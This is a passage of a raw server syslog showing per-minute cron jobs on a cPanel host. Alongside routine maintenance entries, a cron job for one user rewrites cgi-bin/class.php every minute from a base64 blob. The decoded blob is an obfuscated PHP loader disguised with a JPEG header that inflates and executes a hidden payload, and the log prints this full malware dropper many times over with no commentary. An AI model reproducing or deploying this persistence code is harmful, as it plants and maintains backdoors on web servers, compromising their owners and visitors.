aABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:16:01 server CROND[14748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:16:01 server CROND[14749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:16:01 server CROND[14750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:17:01 server CROND[15220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:17:01 server CROND[15221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:17:01 server CROND[15219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:18:01 server CROND[15651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:18:01 server CROND[15652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:18:01 server CROND[15653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:19:01 server CROND[16040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:19:01 server CROND[16042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:19:01 server CROND[16041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:20:01 server CROND[16506]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 11:20:01 server CROND[16513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:20:01 server CROND[16511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:20:01 server CROND[16509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:20:01 server CROND[16515]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:20:01 server CROND[16510]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:20:01 server CROND[16514]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:20:01 server CROND[16508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:20:01 server CROND[16512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:21:01 server CROND[17361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:21:01 server CROND[17363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:21:01 server CROND[17362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:22:01 server CROND[17832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:22:01 server CROND[17833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:22:01 server CROND[17834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:23:01 server CROND[18216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:23:01 server CROND[18217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:23:01 server CROND[18220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:24:01 server CROND[18602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:24:01 server CROND[18603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:24:01 server CROND[18604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:25:01 server CROND[19004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:25:01 server CROND[19005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:25:01 server CROND[19006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:25:01 server CROND[19009]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:25:01 server CROND[19012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:25:01 server CROND[19007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:25:01 server CROND[19011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:26:01 server CROND[19851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:26:01 server CROND[19852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:26:01 server CROND[19853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:27:01 server CROND[20348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:27:01 server CROND[20349]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 11:27:01 server CROND[20351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:27:01 server CROND[20350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:28:01 server CROND[20735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
